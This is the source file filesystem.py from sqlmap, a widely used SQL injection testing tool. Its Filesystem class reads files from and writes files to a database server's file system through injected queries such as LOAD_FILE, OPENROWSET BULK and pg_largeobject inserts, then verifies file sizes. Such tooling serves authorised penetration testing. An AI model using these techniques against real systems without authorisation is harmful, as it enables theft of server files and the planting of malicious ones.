filesystem.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305
  1. #!/usr/bin/env python
  2. """
  3. Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
  4. See the file 'doc/COPYING' for copying permission
  5. """
  6. import os
  7. import sys
  8. from lib.core.agent import agent
  9. from lib.core.common import dataToOutFile
  10. from lib.core.common import Backend
  11. from lib.core.common import checkFile
  12. from lib.core.common import decloakToTemp
  13. from lib.core.common import decodeHexValue
  14. from lib.core.common import getUnicode
  15. from lib.core.common import isNumPosStrValue
  16. from lib.core.common import isListLike
  17. from lib.core.common import isStackingAvailable
  18. from lib.core.common import isTechniqueAvailable
  19. from lib.core.common import readInput
  20. from lib.core.data import conf
  21. from lib.core.data import kb
  22. from lib.core.data import logger
  23. from lib.core.enums import DBMS
  24. from lib.core.enums import CHARSET_TYPE
  25. from lib.core.enums import EXPECTED
  26. from lib.core.enums import PAYLOAD
  27. from lib.core.exception import SqlmapUndefinedMethod
  28. from lib.core.settings import UNICODE_ENCODING
  29. from lib.request import inject
  30. class Filesystem:
  31. """
  32. This class defines generic OS file system functionalities for plugins.
  33. """
  34. def __init__(self):
  35. self.fileTblName = "sqlmapfile"
  36. self.tblField = "data"
  37. def _checkFileLength(self, localFile, remoteFile, fileRead=False):
  38. if Backend.isDbms(DBMS.MYSQL):
  39. lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
  40. elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
  41. lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
  42. elif Backend.isDbms(DBMS.MSSQL):
  43. self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
  44. inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField));
  45. lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
  46. try:
  47. localFileSize = os.path.getsize(localFile)
  48. except OSError:
  49. warnMsg = "file '%s' is missing" % localFile
  50. logger.warn(warnMsg)
  51. localFileSize = 0
  52. if fileRead and Backend.isDbms(DBMS.PGSQL):
  53. logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
  54. sameFile = True
  55. else:
  56. logger.debug("checking the length of the remote file '%s'" % remoteFile)
  57. remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
  58. sameFile = None
  59. if isNumPosStrValue(remoteFileSize):
  60. remoteFileSize = long(remoteFileSize)
  61. localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
  62. sameFile = False
  63. if localFileSize == remoteFileSize:
  64. sameFile = True
  65. infoMsg = "the local file '%s' and the remote file " % localFile
  66. infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)
  67. elif remoteFileSize > localFileSize:
  68. infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)
  69. infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)
  70. else:
  71. infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)
  72. infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)
  73. logger.info(infoMsg)
  74. else:
  75. sameFile = False
  76. warnMsg = "it looks like the file has not been written (usually "
  77. warnMsg += "occurs if the DBMS process user has no write "
  78. warnMsg += "privileges in the destination path)"
  79. logger.warn(warnMsg)
  80. return sameFile
  81. def fileToSqlQueries(self, fcEncodedList):
  82. """
  83. Called by MySQL and PostgreSQL plugins to write a file on the
  84. back-end DBMS underlying file system
  85. """
  86. counter = 0
  87. sqlQueries = []
  88. for fcEncodedLine in fcEncodedList:
  89. if counter == 0:
  90. sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine))
  91. else:
  92. updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine)
  93. sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField))
  94. counter += 1
  95. return sqlQueries
  96. def fileEncode(self, fileName, encoding, single, chunkSize=256):
  97. """
  98. Called by MySQL and PostgreSQL plugins to write a file on the
  99. back-end DBMS underlying file system
  100. """
  101. with open(fileName, "rb") as f:
  102. content = f.read()
  103. return self.fileContentEncode(content, encoding, single, chunkSize)
  104. def fileContentEncode(self, content, encoding, single, chunkSize=256):
  105. retVal = []
  106. if encoding:
  107. content = content.encode(encoding).replace("\n", "")
  108. if not single:
  109. if len(content) > chunkSize:
  110. for i in xrange(0, len(content), chunkSize):
  111. _ = content[i:i + chunkSize]
  112. if encoding == "hex":
  113. _ = "0x%s" % _
  114. elif encoding == "base64":
  115. _ = "'%s'" % _
  116. retVal.append(_)
  117. if not retVal:
  118. if encoding == "hex":
  119. content = "0x%s" % content
  120. elif encoding == "base64":
  121. content = "'%s'" % content
  122. retVal = [content]
  123. return retVal
  124. def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False):
  125. output = None
  126. if forceCheck is not True:
  127. message = "do you want confirmation that the local file '%s' " % localFile
  128. message += "has been successfully written on the back-end DBMS "
  129. message += "file system ('%s')? [Y/n] " % remoteFile
  130. output = readInput(message, default="Y")
  131. if forceCheck or (output and output.lower() == "y"):
  132. return self._checkFileLength(localFile, remoteFile)
  133. return True
  134. def askCheckReadFile(self, localFile, remoteFile):
  135. message = "do you want confirmation that the remote file '%s' " % remoteFile
  136. message += "has been successfully downloaded from the back-end "
  137. message += "DBMS file system? [Y/n] "
  138. output = readInput(message, default="Y")
  139. if not output or output in ("y", "Y"):
  140. return self._checkFileLength(localFile, remoteFile, True)
  141. return None
  142. def nonStackedReadFile(self, remoteFile):
  143. errMsg = "'nonStackedReadFile' method must be defined "
  144. errMsg += "into the specific DBMS plugin"
  145. raise SqlmapUndefinedMethod(errMsg)
  146. def stackedReadFile(self, remoteFile):
  147. errMsg = "'stackedReadFile' method must be defined "
  148. errMsg += "into the specific DBMS plugin"
  149. raise SqlmapUndefinedMethod(errMsg)
  150. def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
  151. errMsg = "'unionWriteFile' method must be defined "
  152. errMsg += "into the specific DBMS plugin"
  153. raise SqlmapUndefinedMethod(errMsg)
  154. def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
  155. errMsg = "'stackedWriteFile' method must be defined "
  156. errMsg += "into the specific DBMS plugin"
  157. raise SqlmapUndefinedMethod(errMsg)
  158. def readFile(self, remoteFiles):
  159. localFilePaths = []
  160. self.checkDbmsOs()
  161. for remoteFile in remoteFiles.split(","):
  162. fileContent = None
  163. kb.fileReadMode = True
  164. if conf.direct or isStackingAvailable():
  165. if isStackingAvailable():
  166. debugMsg = "going to read the file with stacked query SQL "
  167. debugMsg += "injection technique"
  168. logger.debug(debugMsg)
  169. fileContent = self.stackedReadFile(remoteFile)
  170. elif Backend.isDbms(DBMS.MYSQL):
  171. debugMsg = "going to read the file with a non-stacked query "
  172. debugMsg += "SQL injection technique"
  173. logger.debug(debugMsg)
  174. fileContent = self.nonStackedReadFile(remoteFile)
  175. else:
  176. errMsg = "none of the SQL injection techniques detected can "
  177. errMsg += "be used to read files from the underlying file "
  178. errMsg += "system of the back-end %s server" % Backend.getDbms()
  179. logger.error(errMsg)
  180. fileContent = None
  181. kb.fileReadMode = False
  182. if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL):
  183. self.cleanup(onlyFileTbl=True)
  184. elif isListLike(fileContent):
  185. newFileContent = ""
  186. for chunk in fileContent:
  187. if isListLike(chunk):
  188. if len(chunk) > 0:
  189. chunk = chunk[0]
  190. else:
  191. chunk = ""
  192. if chunk:
  193. newFileContent += chunk
  194. fileContent = newFileContent
  195. if fileContent is not None:
  196. fileContent = decodeHexValue(fileContent, True)
  197. if fileContent:
  198. localFilePath = dataToOutFile(remoteFile, fileContent)
  199. if not Backend.isDbms(DBMS.PGSQL):
  200. self.cleanup(onlyFileTbl=True)
  201. sameFile = self.askCheckReadFile(localFilePath, remoteFile)
  202. if sameFile is True:
  203. localFilePath += " (same file)"
  204. elif sameFile is False:
  205. localFilePath += " (size differs from remote file)"
  206. localFilePaths.append(localFilePath)
  207. else:
  208. errMsg = "no data retrieved"
  209. logger.error(errMsg)
  210. return localFilePaths
  211. def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
  212. written = False
  213. checkFile(localFile)
  214. self.checkDbmsOs()
  215. if localFile.endswith('_'):
  216. localFile = decloakToTemp(localFile)
  217. if conf.direct or isStackingAvailable():
  218. if isStackingAvailable():
  219. debugMsg = "going to upload the file '%s' with " % fileType
  220. debugMsg += "stacked query SQL injection technique"
  221. logger.debug(debugMsg)
  222. written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
  223. self.cleanup(onlyFileTbl=True)
  224. elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
  225. debugMsg = "going to upload the file '%s' with " % fileType
  226. debugMsg += "UNION query SQL injection technique"
  227. logger.debug(debugMsg)
  228. written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
  229. else:
  230. errMsg = "none of the SQL injection techniques detected can "
  231. errMsg += "be used to write files to the underlying file "
  232. errMsg += "system of the back-end %s server" % Backend.getDbms()
  233. logger.error(errMsg)
  234. return None
  235. return written